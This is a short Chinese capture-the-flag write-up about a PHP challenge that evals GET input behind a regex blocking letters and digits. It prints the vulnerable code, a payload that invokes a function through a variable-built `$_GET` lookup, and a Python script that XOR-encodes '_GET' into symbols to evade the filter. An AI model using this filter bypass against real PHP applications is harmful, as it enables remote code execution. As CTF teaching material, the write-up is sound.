PHP 绕过 preg_match 数字与字母的正则表达式

梅子酒天下第一

Posted by RTL on August 6, 2018

Writeup

<?php
include 'MeizijiuPhpFlag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
  • 听了梅子酒师傅吹了一天水,我的心情是崩溃的…我也想单手日站,我也想走向人生巅峰
  • 刚开始拿到这个题,作为一个真小白,对 php 语法不懂,看了一下才明白,要绕过字母与数字的正则表达式,然后执行 getFlag() 函数,看着好简单?Maybe…

  • 首先我先想到的是 JSFuck? …40字符,溜了溜了
  • 然后开始运用程序员的最基础技能,搜索引擎…有一个说利用 Array 强制转换字符串后变成 Array,然后通过 ++ 来得到每一个字符的…又是 40 字符限制了
  • 之后我开始思考,想到了 变量可以用’_‘命名,所以做了一些尝试,但是碍于能力有限,失败了
  • 跟 Zhangflu 学到了根据数学知识 一个数异或另一个数两次可以得到这个数,但是将 getFlag 编码后,只会生成字符串,并不会执行该函数,思路断了…

  • 一大佬发了一个 payload, 未转码前的为
code=$_='_GET';${$_}[_]();&_=getFlag
  • 我被彻底的惊艳到了…真的很强,很巧妙,为很容易理解,在此不多赘述
  • 将 _GET 转码后得到一段字符,转码脚本如下
# -*- coding:utf8 -*-

get = "_GET"
code = "~`!@#$%&*()-=+_[]{};:<>,.?/|"

result_1 = ""
result_2 = ""

for x in get:
  for y in code:
    if chr(ord(x) ^ ord(y)) in code:
      result_1 += y
      result_2 += chr(ord(x) ^ ord(y))
      break

print(result_1 + '^' + result_2)